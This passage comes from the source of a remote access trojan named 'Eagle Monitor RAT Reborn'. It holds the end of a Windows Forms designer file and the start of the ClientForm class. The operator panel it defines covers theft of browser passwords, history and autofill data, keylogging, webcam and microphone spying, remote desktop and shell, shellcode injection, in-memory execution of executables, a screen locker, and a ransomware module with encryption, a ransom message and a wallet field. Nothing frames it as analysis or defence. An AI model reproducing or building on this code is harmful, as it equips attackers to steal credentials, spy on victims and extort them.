this.bytesSentlabel.Name = "bytesSentlabel"; this.bytesSentlabel.Size = new System.Drawing.Size(16, 13); this.bytesSentlabel.TabIndex = 9; this.bytesSentlabel.Text = "..."; this.bytesSentlabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // bytesReceivedLabel // this.bytesReceivedLabel.AutoSize = true; this.bytesReceivedLabel.BackColor = System.Drawing.Color.Transparent; this.bytesReceivedLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.bytesReceivedLabel.Location = new System.Drawing.Point(3, 1); this.bytesReceivedLabel.Name = "bytesReceivedLabel"; this.bytesReceivedLabel.Size = new System.Drawing.Size(16, 13); this.bytesReceivedLabel.TabIndex = 8; this.bytesReceivedLabel.Text = "..."; this.bytesReceivedLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // panel7 // this.panel7.Controls.Add(this.mainGuna2TabControl); this.panel7.Dock = System.Windows.Forms.DockStyle.Fill; this.panel7.Location = new System.Drawing.Point(2, 32); this.panel7.Name = "panel7"; this.panel7.Size = new System.Drawing.Size(1279, 482); this.panel7.TabIndex = 10; // // Column48 // this.Column48.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column48.DefaultCellStyle = dataGridViewCellStyle53; this.Column48.FillWeight = 20F; this.Column48.HeaderText = "PID"; this.Column48.Name = "Column48"; this.Column48.ReadOnly = true; // // Column49 // this.Column49.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column49.FillWeight = 20F; this.Column49.HeaderText = "Process Name"; this.Column49.Name = "Column49"; this.Column49.ReadOnly = true; // // Column50 // this.Column50.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column50.FillWeight = 20F; this.Column50.HeaderText = "Local EndPoint"; this.Column50.Name = "Column50"; this.Column50.ReadOnly = true; // // Column51 // this.Column51.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column51.FillWeight = 20F; this.Column51.HeaderText = "Remote EndPoint"; this.Column51.Name = "Column51"; this.Column51.ReadOnly = true; // // Column52 // this.Column52.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column52.FillWeight = 20F; this.Column52.HeaderText = "State"; this.Column52.Name = "Column52"; this.Column52.ReadOnly = true; // // ClientForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.BordersSize = 2; this.ClientSize = new System.Drawing.Size(1283, 555); this.Controls.Add(this.panel7); this.Controls.Add(this.panel6); this.Controls.Add(this.clientLabel); this.Controls.Add(this.logoPictureBox); this.Controls.Add(this.minimizeGuna2ControlBox); this.Controls.Add(this.maximizeGuna2ControlBox); this.Controls.Add(this.closeGuna2ControlBox); this.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.KeyPreview = true; this.Name = "ClientForm"; this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2); this.Text = "Eagle Monitor RAT Reborn"; this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.Load += new System.EventHandler(this.ClientForm_Load); this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ClientForm_KeyDown); this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.ClientForm_KeyUp); this.MouseLeave += new System.EventHandler(this.ClientForm_MouseLeave); this.mainGuna2TabControl.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.recoveryGuna2TabControl.ResumeLayout(false); this.tabPage3.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.passwordsDataGridView)).EndInit(); this.passwordContextMenuStrip.ResumeLayout(false); this.tabPage4.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.historyDataGridView)).EndInit(); this.historyContextMenuStrip.ResumeLayout(false); this.tabPage6.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.autofillDataGridView)).EndInit(); this.autofillContextMenuStrip.ResumeLayout(false); this.tabPage7.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.keywordsDataGridView)).EndInit(); this.keywordsContextMenuStrip.ResumeLayout(false); this.tabPage2.ResumeLayout(false); this.panel1.ResumeLayout(false); this.fileManagerGuna2TabControl.ResumeLayout(false); this.tabPage9.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.fileManagerDataGridView)).EndInit(); this.fileManagerContextMenuStrip.ResumeLayout(false); this.shortcutContextMenuStrip.ResumeLayout(false); this.fileContextMenuStrip.ResumeLayout(false); this.directoryContextMenuStrip.ResumeLayout(false); this.panel2.ResumeLayout(false); this.panel2.PerformLayout(); this.tabPage13.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.dowloadFileDataGridView)).EndInit(); this.downloadContextMenuStrip.ResumeLayout(false); this.tabPage5.ResumeLayout(false); this.panel3.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.processDataGridView)).EndInit(); this.processContextMenuStrip.ResumeLayout(false); this.tabPage8.ResumeLayout(false); this.remoteGuna2TabControl.ResumeLayout(false); this.tabPage10.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.remoteDesktopPictureBox)).EndInit(); this.remoteDesktopContextMenuStrip.ResumeLayout(false); this.panel4.ResumeLayout(false); this.tabPage11.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.remoteWebCamPictureBox)).EndInit(); this.webCamContextMenuStrip.ResumeLayout(false); this.panel8.ResumeLayout(false); this.tabPage12.ResumeLayout(false); this.panel10.ResumeLayout(false); this.microphoneContextMenuStrip.ResumeLayout(false); this.tabPage14.ResumeLayout(false); this.miscellaneousGuna2TabControl.ResumeLayout(false); this.tabPage15.ResumeLayout(false); this.memoryExecutionGuna2TabControl.ResumeLayout(false); this.tabPage19.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.nativePEDataGridView)).EndInit(); this.nativePEContextMenuStrip.ResumeLayout(false); this.tabPage22.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.managedPEDataGridView)).EndInit(); this.managedPEContextMenuStrip.ResumeLayout(false); this.tabPage20.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.shellcodeDataGridView)).EndInit(); this.shellcodeContextMenuStrip.ResumeLayout(false); this.tabPage21.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.codeTextBox)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.importLibDataGridView)).EndInit(); this.importLibContextMenuStrip.ResumeLayout(false); this.tabPage16.ResumeLayout(false); this.tabPage17.ResumeLayout(false); this.informationGuna2TabControl.ResumeLayout(false); this.tabPage30.ResumeLayout(false); this.guna2GroupBox2.ResumeLayout(false); this.panel16.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).EndInit(); this.guna2GroupBox1.ResumeLayout(false); this.panel15.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).EndInit(); this.panel13.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).EndInit(); this.tabPage31.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).EndInit(); this.tabPage18.ResumeLayout(false); this.panel18.ResumeLayout(false); this.panel19.ResumeLayout(false); this.guna2GroupBox3.ResumeLayout(false); this.guna2GroupBox3.PerformLayout(); this.guna2GroupBox5.ResumeLayout(false); this.guna2GroupBox5.PerformLayout(); this.guna2GroupBox6.ResumeLayout(false); this.guna2GroupBox8.ResumeLayout(false); this.guna2GroupBox4.ResumeLayout(false); this.guna2GroupBox7.ResumeLayout(false); this.tabPage23.ResumeLayout(false); this.tabPage24.ResumeLayout(false); this.guna2GroupBox9.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.restorePointDataGridView)).EndInit(); this.restorePointContextMenuStrip.ResumeLayout(false); this.tabPage25.ResumeLayout(false); this.ransomwareGuna2TabControl.ResumeLayout(false); this.tabPage26.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.pathRansomwareDataGridView)).EndInit(); this.ransomwarePathContextMenuStrip.ResumeLayout(false); this.tabPage27.ResumeLayout(false); this.tabPage27.PerformLayout(); this.panel20.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.extensionRansomwareDataGridView)).EndInit(); this.extensionContextMenuStrip.ResumeLayout(false); this.tabPage28.ResumeLayout(false); this.tabPage29.ResumeLayout(false); this.panel21.ResumeLayout(false); this.ransomwareContextMenuStrip.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit(); this.panel6.ResumeLayout(false); this.guna2Panel5.ResumeLayout(false); this.guna2Panel5.PerformLayout(); this.panel7.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); } #endregion private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox; private System.Windows.Forms.PictureBox logoPictureBox; internal System.Windows.Forms.Label clientLabel; private Guna.UI2.WinForms.Guna2TabControl mainGuna2TabControl; private Controls.CustomContextMenuStrip passwordContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem getPasswordToolStripMenuItem; private System.Windows.Forms.TabPage tabPage1; private System.Windows.Forms.TabPage tabPage2; public System.Windows.Forms.DataGridView passwordsDataGridView; private Guna.UI2.WinForms.Guna2TabControl recoveryGuna2TabControl; private System.Windows.Forms.TabPage tabPage3; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar1; private System.Windows.Forms.TabPage tabPage4; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar2; public System.Windows.Forms.DataGridView historyDataGridView; private Controls.CustomContextMenuStrip historyContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem historyToolStripMenuItem; public System.Windows.Forms.DataGridView fileManagerDataGridView; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar3; private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Panel panel2; private Controls.CustomContextMenuStrip fileManagerContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem goToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem backToolStripMenuItem; internal Guna.UI2.WinForms.Guna2ComboBox disksGuna2ComboBox; private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem shortcutToolStripMenuItem; private Controls.CustomContextMenuStrip shortcutContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem downloadSToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem desktopSToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem documentsSToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem userProfileSToolStripMenuItem; internal System.Windows.Forms.Label labelPath; private System.Windows.Forms.TabPage tabPage5; private System.Windows.Forms.DataGridViewTextBoxColumn Column1; private System.Windows.Forms.DataGridViewTextBoxColumn Column2; private System.Windows.Forms.DataGridViewTextBoxColumn Column3; private System.Windows.Forms.DataGridViewTextBoxColumn Column4; private System.Windows.Forms.DataGridViewTextBoxColumn Column5; private System.Windows.Forms.DataGridViewTextBoxColumn Column6; private System.Windows.Forms.DataGridViewTextBoxColumn Column7; private System.Windows.Forms.DataGridViewTextBoxColumn Column8; private System.Windows.Forms.DataGridViewTextBoxColumn Column9; private System.Windows.Forms.DataGridViewImageColumn Column11; internal System.Windows.Forms.DataGridViewTextBoxColumn Column12; private System.Windows.Forms.DataGridViewTextBoxColumn Column13; private System.Windows.Forms.DataGridViewTextBoxColumn Column14; public System.Windows.Forms.DataGridView processDataGridView; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar4; private Controls.CustomContextMenuStrip processContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem refreshProcessToolStripMenuItem; private System.Windows.Forms.DataGridViewImageColumn Column15; private System.Windows.Forms.DataGridViewTextBoxColumn Column16; private System.Windows.Forms.DataGridViewTextBoxColumn Column17; private System.Windows.Forms.DataGridViewTextBoxColumn Column18; private System.Windows.Forms.DataGridViewTextBoxColumn Column19; private System.Windows.Forms.DataGridViewTextBoxColumn Column20; private System.Windows.Forms.Panel panel3; private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem suspendToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem resumeToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem shellcodeInjectionToolStripMenuItem; private System.Windows.Forms.TabPage tabPage6; public System.Windows.Forms.DataGridView autofillDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column21; private System.Windows.Forms.DataGridViewTextBoxColumn Column22; private System.Windows.Forms.DataGridViewTextBoxColumn Column23; private System.Windows.Forms.DataGridViewTextBoxColumn Column24; private System.Windows.Forms.DataGridViewTextBoxColumn Column25; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar5; private System.Windows.Forms.TabPage tabPage7; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar6; public System.Windows.Forms.DataGridView keywordsDataGridView; private Controls.CustomContextMenuStrip autofillContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem autofillToolStripMenuItem; private Controls.CustomContextMenuStrip keywordsContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem keywordsToolStripMenuItem; private System.Windows.Forms.DataGridViewTextBoxColumn Column26; private System.Windows.Forms.DataGridViewTextBoxColumn Column27; private System.Windows.Forms.TabPage tabPage8; private Guna.UI2.WinForms.Guna2TrackBar qualityGuna2TrackBar; private Guna.UI2.WinForms.Guna2ToggleSwitch keyboardGuna2ToggleSwitch; private Guna.UI2.WinForms.Guna2ToggleSwitch mouseGuna2ToggleSwitch; private Guna.UI2.WinForms.Guna2ToggleSwitch captureGuna2ToggleSwitch; private System.Windows.Forms.Label label6; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label label1; private System.Windows.Forms.Panel panel4; private System.Windows.Forms.Panel panel5; internal System.Windows.Forms.PictureBox remoteDesktopPictureBox; private System.Windows.Forms.Panel panel6; private Guna.UI2.WinForms.Guna2Panel guna2Panel5; private System.Windows.Forms.Panel panel7; internal System.Windows.Forms.Label bytesReceivedLabel; internal System.Windows.Forms.Label bytesSentlabel; private Guna.UI2.WinForms.Guna2TabControl remoteGuna2TabControl; private System.Windows.Forms.TabPage tabPage10; private System.Windows.Forms.TabPage tabPage11; private System.Windows.Forms.TabPage tabPage12; private System.Windows.Forms.Panel panel8; private Guna.UI2.WinForms.Guna2ToggleSwitch captureWebCamGuna2ToggleSwitch; private System.Windows.Forms.Panel panel9; private System.Windows.Forms.Label label2; internal Guna.UI2.WinForms.Guna2ComboBox camerasGuna2ComboBox; internal System.Windows.Forms.PictureBox remoteWebCamPictureBox; private Controls.CustomContextMenuStrip webCamContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem getWebCamToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem saveWebCamToolStripMenuItem; private Controls.CustomContextMenuStrip remoteDesktopContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem saveRemoteDesktopToolStripMenuItem; private System.Windows.Forms.Panel panel10; internal Guna.UI2.WinForms.Guna2ComboBox audioDevicesGuna2ComboBox; private System.Windows.Forms.Label label7; internal Guna.UI2.WinForms.Guna2ComboBox currentMachineDevicesGuna2ComboBox; private Guna.UI2.WinForms.Guna2ToggleSwitch remoteMicrophoneGuna2ToggleSwitch; private System.Windows.Forms.Label label3; private Controls.CustomContextMenuStrip microphoneContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem getMicrophonesToolStripMenuItem; private Guna.UI2.WinForms.Guna2TabControl fileManagerGuna2TabControl; private System.Windows.Forms.TabPage tabPage9; private System.Windows.Forms.TabPage tabPage13; private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; private Controls.CustomContextMenuStrip fileContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem downloadFileToolStripMenuItem; public System.Windows.Forms.DataGridView dowloadFileDataGridView; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar7; private Controls.CustomContextMenuStrip downloadContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem pauseToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem startDowloadFileToolStripMenuItem; private System.Windows.Forms.TabPage tabPage14; private System.Windows.Forms.ToolStripMenuItem deleteFileToolStripMenuItem; private System.Windows.Forms.DataGridViewTextBoxColumn Column28; private System.Windows.Forms.DataGridViewTextBoxColumn Column29; private System.Windows.Forms.DataGridViewTextBoxColumn Column30; private System.Windows.Forms.DataGridViewTextBoxColumn Column10; private Guna.UI2.WinForms.Guna2TabControl miscellaneousGuna2TabControl; private System.Windows.Forms.TabPage tabPage15; private System.Windows.Forms.TabPage tabPage16; private System.Windows.Forms.TabPage tabPage17; private System.Windows.Forms.TabPage tabPage18; private Guna.UI2.WinForms.Guna2TabControl memoryExecutionGuna2TabControl; private System.Windows.Forms.TabPage tabPage19; private System.Windows.Forms.TabPage tabPage20; private System.Windows.Forms.TabPage tabPage21; public System.Windows.Forms.DataGridView importLibDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column31; private Guna.UI2.WinForms.Guna2Button testDotNetGuna2Button; private Guna.UI2.WinForms.Guna2Button sendDotNetGuna2Button; private FastColoredTextBoxNS.FastColoredTextBox codeTextBox; internal Guna.UI2.WinForms.Guna2ComboBox languageComboBox; internal Guna.UI2.WinForms.Guna2ComboBox platformGuna2ComboBox; private Controls.CustomContextMenuStrip importLibContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addImportLibContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem removeImportLibContextMenuStripToolStripMenuItem; public System.Windows.Forms.DataGridView shellcodeDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column32; private System.Windows.Forms.TabPage tabPage22; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar8; private Controls.CustomContextMenuStrip shellcodeContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addShellCodeContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem removeShellCodeContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendShellcodeToolStripMenuItem; private Controls.CustomContextMenuStrip nativePEContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addNativePEContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem removeNativePEContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendNativePEContextMenuStripToolStripMenuItem; private Controls.CustomContextMenuStrip managedPEContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addManagedPEContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem removeManagedPEContextMenuStripToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendManagedPEContextMenuStripToolStripMenuItem; public System.Windows.Forms.DataGridView managedPEDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column33; private System.Windows.Forms.DataGridViewTextBoxColumn Column34; public System.Windows.Forms.DataGridView nativePEDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column35; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox1; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox2; public System.Windows.Forms.DataGridView systemInformationDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column40; private System.Windows.Forms.DataGridViewTextBoxColumn Column41; private Guna.UI2.WinForms.Guna2Button retrieveInformationGuna2Button; private System.Windows.Forms.Panel panel16; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar11; private System.Windows.Forms.Panel panel15; public System.Windows.Forms.DataGridView componentsDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column38; private System.Windows.Forms.DataGridViewTextBoxColumn Column39; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar10; private System.Windows.Forms.Panel panel13; public System.Windows.Forms.DataGridView cpuDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column36; private System.Windows.Forms.DataGridViewTextBoxColumn Column37; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar9; private System.Windows.Forms.Panel panel14; private System.Windows.Forms.TabPage tabPage23; private Guna.UI2.WinForms.Guna2Button keyloggerGuna2Button; private System.Windows.Forms.Panel panel12; public System.Windows.Forms.RichTextBox keystrokeRichTextBox; private Guna.UI2.WinForms.Guna2Button chatGuna2Button; private System.Windows.Forms.Panel panel17; private Guna.UI2.WinForms.Guna2Button chatSendGuna2Button; internal Guna.UI2.WinForms.Guna2TextBox messageChatGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox usernameChatGuna2TextBox; internal System.Windows.Forms.RichTextBox messageRichTextBox; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox3; internal Guna.UI2.WinForms.Guna2CheckBox blockMouseGuna2CheckBox; internal Guna.UI2.WinForms.Guna2CheckBox blockKeyboardGuna2CheckBox; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox4; private Guna.UI2.WinForms.Guna2Button rotateScreenGuna2Button; internal Guna.UI2.WinForms.Guna2ComboBox degreesGuna2ComboBox; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox5; private Guna.UI2.WinForms.Guna2Button wallpaperGuna2Button; private System.Windows.Forms.Label label8; private Guna.UI2.WinForms.Guna2Button showDesktopIconsGuna2Button; private Guna.UI2.WinForms.Guna2Button hideDesktopIconsGuna2Button; private System.Windows.Forms.Label label10; private System.Windows.Forms.Label label9; private Guna.UI2.WinForms.Guna2Button showTaskbarGuna2Button; private Guna.UI2.WinForms.Guna2Button hideTaskbarGuna2Button; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox6; private Guna.UI2.WinForms.Guna2Button volumeUpGuna2Button; private Guna.UI2.WinForms.Guna2Button volumeDownGuna2Button; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox7; private Guna.UI2.WinForms.Guna2Button linkWebGuna2Button; internal Guna.UI2.WinForms.Guna2TextBox linkWebGuna2TextBox; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox8; private Guna.UI2.WinForms.Guna2Button setPowerGuna2Button; internal Guna.UI2.WinForms.Guna2ComboBox powerStateGuna2ComboBox; private System.Windows.Forms.TabPage tabPage24; private System.Windows.Forms.Panel panel18; private System.Windows.Forms.Panel panel19; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox9; public System.Windows.Forms.DataGridView restorePointDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column42; private System.Windows.Forms.DataGridViewTextBoxColumn Column43; private System.Windows.Forms.DataGridViewTextBoxColumn Column44; private System.Windows.Forms.DataGridViewTextBoxColumn Column45; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar12; private Controls.CustomContextMenuStrip restorePointContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem refreshRestorePointToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem deleteRestorePointToolStripMenuItem; private Guna.UI2.WinForms.Guna2Button askUACGuna2Button; internal Guna.UI2.WinForms.Guna2CheckBox screenlockerGuna2CheckBox; private System.Windows.Forms.TabPage tabPage25; private Guna.UI2.WinForms.Guna2TabControl ransomwareGuna2TabControl; private System.Windows.Forms.TabPage tabPage26; public System.Windows.Forms.DataGridView pathRansomwareDataGridView; private System.Windows.Forms.TabPage tabPage27; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar13; public System.Windows.Forms.DataGridView extensionRansomwareDataGridView; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar14; private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem; private Controls.CustomContextMenuStrip directoryContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addRansomwareToolStripMenuItem; private Controls.CustomContextMenuStrip ransomwareContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem removePathToolStripMenuItem; private System.Windows.Forms.DataGridViewTextBoxColumn Column46; internal Guna.UI2.WinForms.Guna2CheckBox subDirectoriesGuna2CheckBox; private Controls.CustomContextMenuStrip extensionContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem addExtensionToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem removeExtensionToolStripMenuItem; private System.Windows.Forms.DataGridViewTextBoxColumn Column47; private System.Windows.Forms.Panel panel20; internal Guna.UI2.WinForms.Guna2CheckBox checkExtensionsGuna2CheckBox; private Controls.CustomContextMenuStrip ransomwarePathContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem removeToolStripMenuItem; private System.Windows.Forms.TabPage tabPage28; private Guna.UI2.WinForms.Guna2Button startDecryptionGuna2Button; private Guna.UI2.WinForms.Guna2Button startEncryptionGuna2Button; private Guna.UI2.WinForms.Guna2Button generateRSAKeyGuna2Button; internal Guna.UI2.WinForms.Guna2TextBox msgRansomwareGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox walletGuna2TextBox; private System.Windows.Forms.TabPage tabPage29; private Guna.UI2.WinForms.Guna2Button remoteShellGuna2Button; public System.Windows.Forms.RichTextBox remoteShellStdOutRichTextBox; private System.Windows.Forms.Label label11; internal Guna.UI2.WinForms.Guna2TextBox remoteShellGuna2TextBox; internal Guna.UI2.WinForms.Guna2ToggleSwitch remoteShellGuna2ToggleSwitch; private System.Windows.Forms.Panel panel21; private System.Windows.Forms.ToolTip toolTip1; private Guna.UI2.WinForms.Guna2TabControl informationGuna2TabControl; private System.Windows.Forms.TabPage tabPage30; private System.Windows.Forms.Panel panel22; private System.Windows.Forms.TabPage tabPage31; private Guna.UI2.WinForms.Guna2Button retrieveNetworkGuna2Button; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar15; public System.Windows.Forms.DataGridView networkInformationDataGridView; private System.Windows.Forms.DataGridViewTextBoxColumn Column48; private System.Windows.Forms.DataGridViewTextBoxColumn Column49; private System.Windows.Forms.DataGridViewTextBoxColumn Column50; private System.Windows.Forms.DataGridViewTextBoxColumn Column51; private System.Windows.Forms.DataGridViewTextBoxColumn Column52; } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs ================================================ using Eagle_Monitor_RAT_Reborn.Controls; using Eagle_Monitor_RAT_Reborn.Network; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; using NAudio.Wave; using Newtonsoft.Json; using PacketLib; using PacketLib.Packet; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Text; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn { internal partial class ClientForm : FormPattern { internal ClientHandler ClientHandler { get; set; } internal RemoteDesktopHandler RemoteDesktopHandler { get; set; } internal RemoteWebCamHandler RemoteWebCamHandler { get; set; } internal RemoteMicrophoneHandler RemoteMicrophoneHandler { get; set; } internal KeyloggerHandler KeyloggerHandler { get; set; } internal ChatHandler ChatHandler { get; set; } internal RemoteShellHandler RemoteShellHandler { get; set; } internal long DownloadFileTicket { get; set; } internal Dictionary DownloadList { get; set; } internal long DeleteFileTicket { get; set; } internal Dictionary DeleteList { get; set; } internal ClientForm(ClientHandler clientHandler) { InitializeComponent(); this.ClientHandler = clientHandler; this.DownloadFileTicket = 0; this.DownloadList = new Dictionary(); this.DeleteFileTicket = 0; this.DeleteList = new Dictionary(); if (this.ClientHandler.IsAdmin) this.askUACGuna2Button.Enabled = false; } private void ClientForm_Load(object sender, EventArgs e) { SetLocalAudioDevices(); SetUI(); } #region "UI Fixes + ControlBoxes" private void SetUI() { this.SuspendLayout(); #region "Double buffer" Utils.Enable(this.passwordsDataGridView); Utils.Enable(this.historyDataGridView); Utils.Enable(this.keywordsDataGridView); Utils.Enable(this.autofillDataGridView); Utils.Enable(this.fileManagerDataGridView); Utils.Enable(this.dowloadFileDataGridView); Utils.Enable(this.processDataGridView); Utils.Enable(this.importLibDataGridView); Utils.Enable(this.shellcodeDataGridView); Utils.Enable(this.managedPEDataGridView); Utils.Enable(this.nativePEDataGridView); Utils.Enable(this.systemInformationDataGridView); Utils.Enable(this.componentsDataGridView); Utils.Enable(this.cpuDataGridView); Utils.Enable(this.networkInformationDataGridView); Utils.Enable(this.pathRansomwareDataGridView); #endregion #region "Vertical Scrollbar" new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.passwordsDataGridView, this.guna2VScrollBar1, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.historyDataGridView, this.guna2VScrollBar2, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(autofillDataGridView, this.guna2VScrollBar5, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(keywordsDataGridView, this.guna2VScrollBar6, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.fileManagerDataGridView, this.guna2VScrollBar3, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.processDataGridView, this.guna2VScrollBar4, true); new 